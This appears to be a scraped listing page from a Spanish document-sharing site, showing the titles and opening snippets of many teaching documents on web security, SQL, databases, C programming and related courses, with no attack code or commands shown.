AGENDA. Mejorando la Seguridad en Aplicaciones Web. Introducción. La Web Promesas y Amenazas. Asegurando la Red y el Servidor de Web Universidad ORT Uruguay Mejorando la Seguridad en Aplicaciones Web Ing. Cecilia Belletti Ing. Angel Caffa, MSc Ing. Isaac Rodríguez IntegraTICs 7 de diciembre, 2006 AGENDA Introducción La Web Promesas

Más detalles

Principios de Computadoras II

Principios de Computadoras II Departamento de Ingeniería Electrónica y Computadoras Ing. Ricardo Coppo rcoppo@uns.edu.ar Qué es un Objeto? Un objeto es una instancia de una clase Las clases actuán como modelos que permiten la creación

Más detalles

1. Lenguaje de Definición de Datos. 2. Lenguaje de Manipulación de. Datos. M. C. Gustavo Alfonso Gutiérrez Carreón

1. Lenguaje de Definición de Datos. 2. Lenguaje de Manipulación de. Datos. M. C. Gustavo Alfonso Gutiérrez Carreón 1. Lenguaje de Definición de Datos 2. Lenguaje de Manipulación de Datos M. C. Gustavo Alfonso Gutiérrez Carreón Los 'sistemas de gestión de bases de datos (en inglés database management system, abreviado

Más detalles

Ataques más comunes. Virginia Armas Alejandro Do Nascimiento

Ataques más comunes. Virginia Armas Alejandro Do Nascimiento Ataques más comunes Virginia Armas Alejandro Do Nascimiento 1 Introducción Los ataques a desarrollar en la exposición son: HTTP Tunneling Suplantación de contenido Local File Inclusion Remote File Inclusion

Más detalles

Procedimientos almacenados en PL/SQL. Jonathan Medina Gómez Facultad de Ingeniería Universidad de Antioquia

Procedimientos almacenados en PL/SQL. Jonathan Medina Gómez Facultad de Ingeniería Universidad de Antioquia Procedimientos almacenados en PL/SQL Jonathan Medina Gómez Facultad de Ingeniería Universidad de Antioquia Ventajas... Los bloques se pueden almacenar en forma permanente mediante subprogramas (funciones

Más detalles

Control del servidor SQL o de la versión MSDE y del nivel de paquete de servicio

Control del servidor SQL o de la versión MSDE y del nivel de paquete de servicio Control del servidor SQL o de la versión MSDE y del nivel de paquete de servicio Contenido Introducción prerrequisitos Requisitos Componentes Utilizados Convenciones Usar el analizador de consultas con

Más detalles

Bughunting. Carlos Sarraute Ezequiel Gutesman Core Security Technologies 5 mayo 2006. Facultad de Informatica - UNLP

Bughunting. Carlos Sarraute Ezequiel Gutesman Core Security Technologies 5 mayo 2006. Facultad de Informatica - UNLP Bughunting Carlos Sarraute Ezequiel Gutesman Core Security Technologies 5 mayo 2006 Facultad de Informatica - UNLP Introducción Preguntas motivadoras Porque buscamos fallas de seguridad? Que es la seguridad?

Más detalles

Sesión 13. Seguridad en la web. Luisa Fernanda Rincón Pérez 2015-1

Sesión 13. Seguridad en la web. Luisa Fernanda Rincón Pérez 2015-1 Sesión 13. Seguridad en la web Luisa Fernanda Rincón Pérez 2015-1 Qué vimos la clase pasada? 1. Características de MongoDB 2. Colecciones - documentos 3. Consulta, inserción, modificación, eliminación

Más detalles

GUIA DE PROCEDIMIENTOS Y FUNCIONES ALMACENADOS EN MYSQL

GUIA DE PROCEDIMIENTOS Y FUNCIONES ALMACENADOS EN MYSQL GUIA DE PROCEDIMIENTOS Y FUNCIONES ALMACENADOS EN MYSQL Conceptos, historia y contexto http://dev.mysql.com/doc/refman/5.0/es/stored-procedures.html Los procedimientos almacenados y funciones son nuevas

Más detalles

LENGUAJES JÓVENES PROGRAMADORES

LENGUAJES JÓVENES PROGRAMADORES LENGUAJES JÓVENES PROGRAMADORES SCRATCH Qué es Scratch? Es un lenguaje de programación creado por el MIT (Instituto Tecnológico de Massachusetts, EE.UU.) y diseñado para el aprendizaje de la programación.

Más detalles

Tutorial de Unity 3D Tema 52 Bases de Datos. Tutorial de Unity 3D. Bases de Datos

Tutorial de Unity 3D Tema 52 Bases de Datos. Tutorial de Unity 3D. Bases de Datos Tutorial de Unity 3D En este tutorial trabajaremos el almacenamiento de información en una base de datos, bien sea local o remota. Dicha información puede ser propia el cliente (Créditos de juego, puntos

Más detalles

GESTORES GESTORES DE BASES DE DATOS

GESTORES GESTORES DE BASES DE DATOS GESTORES GESTORES DE BASES DE DATOS Existen varios tipos de Sistemas gestores de bases de datos SGBD, según el modelo de datos que utilizan. Son estos: bases jerárquica, en red, relacional, y bases de

Más detalles

Instituto Tecnológico de Celaya

Instituto Tecnológico de Celaya CADENAS DE CARACTERES Hasta ahora se han manejado variables de tipo caracter cuyo valor es un sólo caracter. En algunos casos, sin embargo, es necesario usar variables cuyos valores sean un conjunto (cadena)

Más detalles

Elementos de un programa en C

Elementos de un programa en C Elementos de un programa en C Un programa en C consta de uno o más archivos. Un archivo es traducido en diferentes fases. La primera fase es el preprocesado, que realiza la inclusión de archivos y la sustitución

Más detalles

Espacio de direcciones de un proceso

Espacio de direcciones de un proceso Espacio de direcciones de un proceso Yolanda Becerra Fontal Juan José Costa Prats Facultat d'informàtica de Barcelona (FIB) Universitat Politècnica de Catalunya (UPC) BarcelonaTech 2014-2015 QP Indice

Más detalles

Iniciando con Oracle. Índice de contenido. Ingresando a Oracle. Cambiando Su Contraseña. Ingresando un Comando SQL en SQL*Plus

Iniciando con Oracle. Índice de contenido. Ingresando a Oracle. Cambiando Su Contraseña. Ingresando un Comando SQL en SQL*Plus Iniciando con Oracle Índice de contenido Ingresando a Oracle...1 Cambiando Su Contraseña...1 Ingresando un Comando SQL en SQL*Plus...2 Saliendo de SQL*Plus...2 Consiguiendo Ayuda...2 Creación de una Tabla...3

Más detalles

MASTER PROFESIONAL C# 5 Y ASP.NET MVC 5

MASTER PROFESIONAL C# 5 Y ASP.NET MVC 5 MASTER PROFESIONAL C# 5 Y ASP.NET MVC 5 TEMARIO MODULO I. EL LENGUAJE C# 5 Introducción al desarrollo de soluciones informáticas. El Framework.NET. o Descripción de la plataforma. o Las especificaciones

Más detalles

CAPÍTULO 2: SISTEMAS DE DETECCIÓN DE INTRUSOS

CAPÍTULO 2: SISTEMAS DE DETECCIÓN DE INTRUSOS Capítulo 2 Sistemas de Detección de Intrusos 7 CAPÍTULO 2: SISTEMAS DE DETECCIÓN DE INTRUSOS En este capítulo se definen los sistemas de detección de intrusos y su relación con los ataques basados en el

Más detalles

Sistema Operativo Linux

Sistema Operativo Linux Sistema Operativo Linux Contenidos Administración de usuarios Creación, modificación, eliminación Atributos de las contraseñas Administración de permisos en archivos y directorios Mecanismos de autenticación

Más detalles

TEMA 7: Ficheros. TEMA 7: Ficheros. 7.1.-Concepto de fichero

TEMA 7: Ficheros. TEMA 7: Ficheros. 7.1.-Concepto de fichero TEMA 7: Ficheros 7.1.-Concepto de fichero Todas las estructuras de datos que hemos visto hasta ahora utilizan memoria principal. Esto tiene dos limitaciones importantes: 1. Los datos desaparecen cuando

Más detalles

Base de Datos Conjunto de información organizada especialmente para búsqueda y entrada de datos. Base de Datos: Ejemplo Usuarios

Base de Datos Conjunto de información organizada especialmente para búsqueda y entrada de datos. Base de Datos: Ejemplo Usuarios Base de Datos Conjunto de información organizada especialmente para búsqueda y entrada de datos. Taller de Proyecto Una base de datos puede contener 1 ó + tablas Una tabla puede contener 1 ó + columnas

Más detalles

Sincronizador de Información Táctica

Sincronizador de Información Táctica Instalación del programa Pasos para la instalación de la interface Táctica-Microsip. 1.- Ejecutar el programa setup.exe 2.- A continuación en la pantalla de bienvenida seleccionar el botón Siguiente Página

Más detalles

Seguridad en Sistemas Informáticos Seguridad y WWW. Mikel Izal Azcárate (mikel.izal@unavarra.es)

Seguridad en Sistemas Informáticos Seguridad y WWW. Mikel Izal Azcárate (mikel.izal@unavarra.es) Seguridad en Sistemas Informáticos Seguridad y WWW Mikel Izal Azcárate (mikel.izal@unavarra.es) Indice Seguridad en WWW > Seguridad en la autentificación > Seguridad en la autorización > Ataques de validación

Más detalles

..::[Manual Basico Metasploit]::..

..::[Manual Basico Metasploit]::.. ..::[Manual Basico Metasploit]::.. Creador TheJez 1) Conceptos Basicos 2) Modalidades 3) Comienzos 4) Exploits 5) Actualizar 1. Conceptos Basicos. Para empezar a hablar del metasploit, lo definiremos como

Más detalles

==== Introducción. ==== Buscando un fallo

==== Introducción. ==== Buscando un fallo =============================== Horde/Imp: Cross Site Scripting in Email Subject =============================== FraMe - frame at kernelpanik.org http://www.kernelpanik.org ===============================

Más detalles

Bases de Datos. Diseño y Programación Avanzada de Aplicaciones. Curso

Bases de Datos. Diseño y Programación Avanzada de Aplicaciones. Curso Bases de Datos Diseño y Programación Avanzada de Aplicaciones Curso 2002-2003 INDICE Fichero vs. Bases de Datos Relacionales Un fichero constituye la forma más básica de almacenamiento de información.

Más detalles

Escuela Técnica Superior de Ingeniería Informática Departamento de Lenguajes y Sistemas Informáticos. Triggers

Escuela Técnica Superior de Ingeniería Informática Departamento de Lenguajes y Sistemas Informáticos. Triggers Triggers Grupo de Ingeniería del Software y Bases de Datos Universidad de Sevilla octubre 2011 Introducción Objetivos de la práctica Conocer qué son los y para qué se utilizan Aprender a construir Consultar

Más detalles

Todos los comandos de DEBUG se invocan usando una sola letra y son los siguientes:

Todos los comandos de DEBUG se invocan usando una sola letra y son los siguientes: USO DE DEBUG Con el sistema operativo DOS (MS-DOS = Microsoft Disk Operating System) se incluye un programa para observar el comportamiento de los registros del CPU 80386. Recuérdese que los registros

Más detalles

Quienes somos. Eduardo Arriols (@_Hykeos) Roberto Lopez (@leurian)

Quienes somos. Eduardo Arriols (@_Hykeos) Roberto Lopez (@leurian) CON Quienes somos Eduardo Arriols (@_Hykeos) Roberto Lopez (@leurian) Estudiantes de Ing. Informática en la EPS de la UAM y apasionados del mundo de la seguridad informática y el hacking. Fundadores del

Más detalles

Definición de Memoria

Definición de Memoria Arquitectura de Ordenadores Representación de Datos en Memoria Abelardo Pardo abel@it.uc3m.es Universidad Carlos III de Madrid Departamento de Ingeniería Telemática Definición de Memoria DRM-1 La memoria

Más detalles

LENGUAJE DE CONSULTA ESTRUCTURADO - SQL CONTENIDO

LENGUAJE DE CONSULTA ESTRUCTURADO - SQL CONTENIDO LENGUAJE DE CONSULTA ESTRUCTURADO - SQL 1. TIPOS DE DATOS 2. COMANDOS DDL 2.1 Créate 2.2 Drop 2.3 Alter 3. COMANDOS DML 3.1 Select 3.2 Insert 3.3 Update 3.4 Delete 4. CLAUSULAS 4.1 From 4.2 Where 4.3 Having

Más detalles

UNIVERSIDAD NACIONAL DE INGENIERIA Dirección de Estudios de Posgrado y Educación Continua UNI-DEPEC

UNIVERSIDAD NACIONAL DE INGENIERIA Dirección de Estudios de Posgrado y Educación Continua UNI-DEPEC La Universidad Nacional de Ingeniera (UNI) a través de la Dirección de Estudios de Posgrado y Educación Continua, tiene el agrado de invitarlos a la Cuarta convocatoria de cursos especializados de capacitación

Más detalles

MICROSOFT EXCEL 2010

MICROSOFT EXCEL 2010 MICROSOFT EXCEL 2010 1. AVANZADO Nº Horas:24 Objetivos: Descripción de funciones avanzadas de la hoja de cálculo Microsoft Excel 2010, viendo el uso de fórmulas, funciones y gráficos en los libros de Excel.

Más detalles

El nivel ISA (II)! Conjunto de Instrucciones

El nivel ISA (II)! Conjunto de Instrucciones El nivel ISA (II) Conjunto de Instrucciones EC-2721 Arquitectura del Computador I Que es un Conjunto de Instrucciones? Colección completa de instrucciones comprendida por un procesador Lenguaje de máquina

Más detalles

Bases de datos: Sistemas de bases de datos:

Bases de datos: Sistemas de bases de datos: Bases de datos: Sistemas de bases de datos: Un sistema de bases de datos es básicamente un sistema para archivar en computador, es decir, es un sistema computarizado cuyo propósito general es mantener

Más detalles

Memoria Dinámica. Jornadas de Marzo 2010 Grupo de Usuarios de Linux Tania Pérez

Memoria Dinámica. Jornadas de Marzo 2010 Grupo de Usuarios de Linux Tania Pérez Jornadas de Marzo 2010 Grupo de Usuarios de Linux Tania Pérez 1. PUNTEROS 2. MEMORIA DINÁMICA 2 1. PUNTEROS 3 Qué es un puntero? Un tipo de variable cuyo valor es la dirección de memoria de otra variable.

Más detalles

8º Unidad Didáctica PHP. Eduard Lara

8º Unidad Didáctica PHP. Eduard Lara 8º Unidad Didáctica PHP Eduard Lara 1 ÍNDICE 8.1 Lenguajes de script del servidor PHP 8.2 Sintaxis básica de PHP 8.3 La instrucción include 8.4 Cookies y sesiones 8.5 Bases de datos. Interacción con MySQL

Más detalles

Hacking ético y Seguridad en Red

Hacking ético y Seguridad en Red TFC: Administración de Redes y Sistemas Operativos Hacking ético y Seguridad en Red Alumno: Cristiano Dias Consultor: José Manuel Castillo Pedrosa 1 Índice Introducción... 3 Perfil del Hacker ético...

Más detalles

El Sistema Gestor de Base de Datos (DBMS)

El Sistema Gestor de Base de Datos (DBMS) Pontificia Universidad Javeriana Contenido 1 Introducción 2 Evolución de los SGBD 3 Arquitectura del SGBD 4 Lenguajes de BD 5 Usuarios de la BD Introducción Se espera del SGBD (DBMS) que: 1 Permita a los

Más detalles

Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team

Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team Web : Ataque y Defensa. Claudio Salazar Estudiante Ing. Civil Informática UTFSM Pinguinux Team Temario 1. Introducción 2. Cross Site Scripting (XSS) 3. Inyección SQL 4. Nuestro código en el servidor 5.

Más detalles

GUIA DE LABORATORIO N 9 B. (000Webhost Php- Para desarrollar en casa)

GUIA DE LABORATORIO N 9 B. (000Webhost Php- Para desarrollar en casa) GUIA DE LABORATORIO N 9 B (000Webhost Php- Para desarrollar en casa) Objetivo: Crear servicios web utilizando la arquitectura REST, para obtener información desde un servidor web gratuito que se conecta

Más detalles

TEMA 2. INTRODUCCIÓN A MYSQL

TEMA 2. INTRODUCCIÓN A MYSQL 1 TEMA 2. INTRODUCCIÓN A MYSQL 1. Introducción 2. Características principales de MySQL 3. MySQL y el código abierto 4. Instalación de MySQL 5. Conexión y desconexión al servidor 6. Entrada de comandos

Más detalles

Seguridad y Alta Disponibilidad: Test de intrusión (III): explotación de vulnerabilidades

Seguridad y Alta Disponibilidad: Test de intrusión (III): explotación de vulnerabilidades Seguridad y Alta Disponibilidad: Test de intrusión (III): explotación de vulnerabilidades Jesús Moreno León jesus.moreno.edu@ juntadeandalucía.es Septiembre 2012 Jesús Moreno León, Septiembre de 2012 Algunos

Más detalles

Blind SQL Injectión. Práctico

Blind SQL Injectión. Práctico Blind SQL Injectión Práctico 1 Hola: Hace unos días prometí que publicaría un documento en el foro que nos ayudaría a entender mejor un Blind SQL Injection. La idea principal no es explicar un Blind SQL

Más detalles

Desarrollo de Código Seguro. Seguridad en PHP. Introducción. Register Globals

Desarrollo de Código Seguro. Seguridad en PHP. Introducción. Register Globals Desarrollo de Código Seguro 22 y 27 de Septiembre de 2004 Facultad Regional Concepción del Uruguay Universidad Tecnológica Nacional Gabriel Arellano arellanog@frcu.utn.edu.ar Seguridad en PHP Lineamientos

Más detalles

Java Avanzado. Guía 1. Java Avanzado Facultad de Ingeniería. Escuela de computación.

Java Avanzado. Guía 1. Java Avanzado Facultad de Ingeniería. Escuela de computación. Java Avanzado. Guía 1 Java Avanzado Facultad de Ingeniería. Escuela de computación. Java Avanzado. Guía 2 Introducción Este manual ha sido elaborado para orientar al estudiante de Java Avanzado en el desarrollo

Más detalles

0-31 : caracteres de control : carac. Comunes : especiales (flechas, símbolos) y particulares (ñ)

0-31 : caracteres de control : carac. Comunes : especiales (flechas, símbolos) y particulares (ñ) Hardware y Software (1/6) Lenguaje binario Los ordenadores sólo entienden 1 y 0. Lógica positiva: 0: no hay señal 1: hay señal Código ASCII American Standard Code for Information Interchange Carácter =

Más detalles

ojovoz Una plataforma de código abierto para la creación de memorias comunitarias. Manual del usuario

ojovoz Una plataforma de código abierto para la creación de memorias comunitarias.  Manual del usuario ojovoz Una plataforma de código abierto para la creación de memorias comunitarias. http://ojovoz.net Manual del usuario 1. CÓMO INSTALAR OJOVOZ. 1. ojovoz funciona en la mayoría de teléfonos con sistema

Más detalles

Repaso. Laboratorio Informix. Stored Procedures. Ejemplo. Creación de stored procedures. Sql en un Procedimiento

Repaso. Laboratorio Informix. Stored Procedures. Ejemplo. Creación de stored procedures. Sql en un Procedimiento Laboratorio Informix Stored Procedures Triggers Repaso A partir del ER, hicimos las tablas de la base de datos. Creamos en MySql las base de datos y las tablas Hicimos una aplicación que se comunica con

Más detalles

Seguridad en Aplicaciones Web

Seguridad en Aplicaciones Web Seguridad en Aplicaciones Web Leandro Meiners lmeiners@cybsec cybsec.comcom Septiembre de 2005 Buenos Aires - ARGENTINA Temario Temario Introducción al Protocolo HTTP: Arquitectura, carácterísticas, autenticación,

Más detalles

- Acción para errores de comandos de lotes o sqlcmd. - Se conecta a una instancia de SQL Server.

- Acción para errores de comandos de lotes o sqlcmd. - Se conecta a una instancia de SQL Server. Trabajar con una Base de Datos usando SQL Server Express Hay que hacerlo con la Herramienta de línea de comandos de Microsoft (R) SQL Server SQLCMD SQLCMD.exe es un programa que hay que usarlo desde la

Más detalles

Roberto Garcia Amoriz. Iniciándose en XSS. c_b_n_a. Leganés 6-7 Febrero 2014

Roberto Garcia Amoriz. Iniciándose en XSS. c_b_n_a. Leganés 6-7 Febrero 2014 Roberto Garcia Amoriz Except where otherwise noted, this work is licensed under: http://creativecommons.org/licenses/by-nc-sa/3.0/ c_b_n_a QUIEN SOY Roberto García Amoriz: trabajaba como Administrador

Más detalles

1.El objetivo de un depurador

1.El objetivo de un depurador UNIVERSIDAD TECNICA FEDERICO SANTA MARIA DEPARTAMENTO DE ELECTRONICA ELO320 Estructuras de Datos y Algoritmos 28/8/2008 Información Sobre gdb Tomás Arredondo Vidal gdb es un depurador desarrollado por

Más detalles

Laboratorio Informix. Stored Procedures Triggers

Laboratorio Informix. Stored Procedures Triggers Laboratorio Informix Stored Procedures Triggers Repaso A partir del ER, hicimos las tablas de la base de datos. Creamos en MySql las base de datos y las tablas Hicimos una aplicación que se comunica con

Más detalles

INSTITUTO POLITÉCNICO NACIONAL. ESCUELA SUPERIOR DE CÓMPUTO. WEB II. MySQL. Que el alumno aprenda a usar el servidor de base de datos MySql.

INSTITUTO POLITÉCNICO NACIONAL. ESCUELA SUPERIOR DE CÓMPUTO. WEB II. MySQL. Que el alumno aprenda a usar el servidor de base de datos MySql. INSTITUTO POLITÉCNICO NACIONAL. ESCUELA SUPERIOR DE CÓMPUTO. WEB II MySQL Gutiérrez Álvarez Héctor Alberto. Objetivo: Que el alumno aprenda a usar el servidor de base de datos MySql. Desarrollo: Se escribe

Más detalles

XPERTO EN DISEÑO DE PÁGINAS WEB

XPERTO EN DISEÑO DE PÁGINAS WEB Curso ICA de: EXPERTO EN DISEÑO DE PÁGINAS WEB Módulo 1: Program. cliente: JavaScript Estudia el lenguaje JavaScript para crear guiones o scripts que se incluyen en las páginas web y que son ejecutados

Más detalles

Curso de MySQL y Java

Curso de MySQL y Java Curso de MySQL y Java Introducción: instalación, arranque y primeros pasos 1. Material En este curso vamos a trabajar con el servidor mysql versión 4.0.18. También utilizaremos una herramienta llamada

Más detalles

A.1. Definiciones de datos en SQL

A.1. Definiciones de datos en SQL A.1. Definiciones de datos en SQL Las Sentencias del lenguaje de definición de datos (DDL) que posee SQL operan en base a tablas. Las Principales sentencias DDL son las siguientes: CREATE TABLE DROP TABLE

Más detalles

ARQUITECTURA BÁSICA DEL ORDENADOR: Hardware y Software. IES Miguel de Cervantes de Sevilla

ARQUITECTURA BÁSICA DEL ORDENADOR: Hardware y Software. IES Miguel de Cervantes de Sevilla ARQUITECTURA BÁSICA DEL ORDENADOR: Hardware y Software. IES Miguel de Cervantes de Sevilla Índice de contenido 1.- Qué es un ordenador?...3 2.-Hardware básico de un ordenador:...3 3.-Software...4 3.1.-Software

Más detalles

Seguridad en Sistemas Informáticos (SSI) Programación Segura

Seguridad en Sistemas Informáticos (SSI) Programación Segura 1 Seguridad en Sistemas Informáticos (SSI) Programación Segura Carlos Pérez Conde Departament d'informàtica Escola Técnica Superior d'enginyeria Universitat de València 2 Bibliografía específica OWASP

Más detalles

Sistemas Operativos I Manual de prácticas

Sistemas Operativos I Manual de prácticas Sistemas Operativos I Manual de prácticas Grupo de Sistemas Operativos (DSIC/DISCA) Práctica 3: Procesos POSIX ANTES DE EMPEZAR...... 2 PRÁCTICA 3: PROCESOS POSIX... 2 CREACIÓN DE PROCESOS MEDIANTE FORK...

Más detalles

Introducción a la Operación de Computadoras Personales

Introducción a la Operación de Computadoras Personales Introducción a la Operación de Computadoras Personales Conceptos básicos de computadoras: Software Dr. Diego García Depto. de Ciencias e Ingeniería de la Computación Universidad Nacional del Sur, Bahía

Más detalles

LENGUAJE DE CONSULTA ESTRUCTURADO (SQL)

LENGUAJE DE CONSULTA ESTRUCTURADO (SQL) Qué es una base de datos? Una base de datos (cuya abreviatura es BD) es una entidad en la cual se pueden almacenar datos de manera estructurada, con la menor redundancia posible. Diferentes programas y

Más detalles

Hacking Ético Web. I Jornadas Tecnológicas CEEPS 27-03-2012 Carlos García García i52gagac@uco.es ciyinet@gmail.com. @ciyinet

Hacking Ético Web. I Jornadas Tecnológicas CEEPS 27-03-2012 Carlos García García i52gagac@uco.es ciyinet@gmail.com. @ciyinet Hacking Ético Web I Jornadas Tecnológicas CEEPS 27-03-2012 Carlos García García i52gagac@uco.es ciyinet@gmail.com @ciyinet Índice Introducción OWASP OWASP Top 10 (2010) Demostración ataques Inyección SQL

Más detalles

Unidad IV: Programación del lado del cliente

Unidad IV: Programación del lado del cliente Unidad IV: Programación del lado del cliente 4.1 Introducción al lenguaje Un lenguaje del lado cliente es totalmente independiente del servidor, lo cual permite que la página pueda ser albergada en cualquier

Más detalles

Apuntadores en C y C++

Apuntadores en C y C++ Apuntadores en C y C++ Universidad de Carabobo Facultad Experimental de Ciencias y Tecnología Prof. Marcos A. Gil T. 8 de diciembre de 2004 1. Introducción Los apuntadores en C y C++ son una herramienta

Más detalles

Ataques específicos a servidores y clientes web y medidas preventivas. Problemas de seguridad Web

Ataques específicos a servidores y clientes web y medidas preventivas. Problemas de seguridad Web Problemas de seguridad Web Ataques específicos a servidores y clientes web y medidas preventivas. junio de 2014 Problemas de seguridad Web 1 ATAQUES Consiste en aprovechar alguna debilidad o vulnerabilidad

Más detalles

Visual Basic.net Completo

Visual Basic.net Completo Visual Basic.net Completo Duración: 50.00 horas Descripción Visual Basic es hoy en día uno de los lenguajes de programación más populares del mundo. A principios de los años 90 Microsoft revoluciono el

Más detalles

//Sección de manejo de excepciones. Las rutinas de manejo de errores //aparecen aqui

//Sección de manejo de excepciones. Las rutinas de manejo de errores //aparecen aqui PL/SQL - Oracle PL/SQL (Procedural Language/SQL) es una extensión de SQL, que agrega ciertas construcciones propias de lenguajes procedimentales, obteniendose como resultado un lenguaje estructural mas

Más detalles

Aplicaciones seguras con ClaseSeguridad

Aplicaciones seguras con ClaseSeguridad Aplicaciones seguras con ClaseSeguridad Índice de contenido Por que ClaseSeguridad?...1 Referenciar ClaseSeguridad...1 Declaración y creación...1 Evitar inyección de SQL...1 Eliminar etiquetas...3 Evitar

Más detalles

Desarrollo PHP con Webmatrix

Desarrollo PHP con Webmatrix Álvaro Gómez Giménez (UAM.NET) Desarrollo PHP con Webmatrix 25-11-2011 1 / 30 Desarrollo PHP con Webmatrix Álvaro Gómez Giménez UAM.NET 25-11-2011 Álvaro Gómez Giménez (UAM.NET) Desarrollo PHP con Webmatrix

Más detalles

VISUAL BASIC.NET. NIVEL COMPLETO

VISUAL BASIC.NET. NIVEL COMPLETO VISUAL BASIC.NET. NIVEL COMPLETO DESCRIPCIÓN Visual Basic es hoy en día uno de los lenguajes de programación más populares del mundo. A principios de los años 90 Microsoft revoluciono el desarrollo de

Más detalles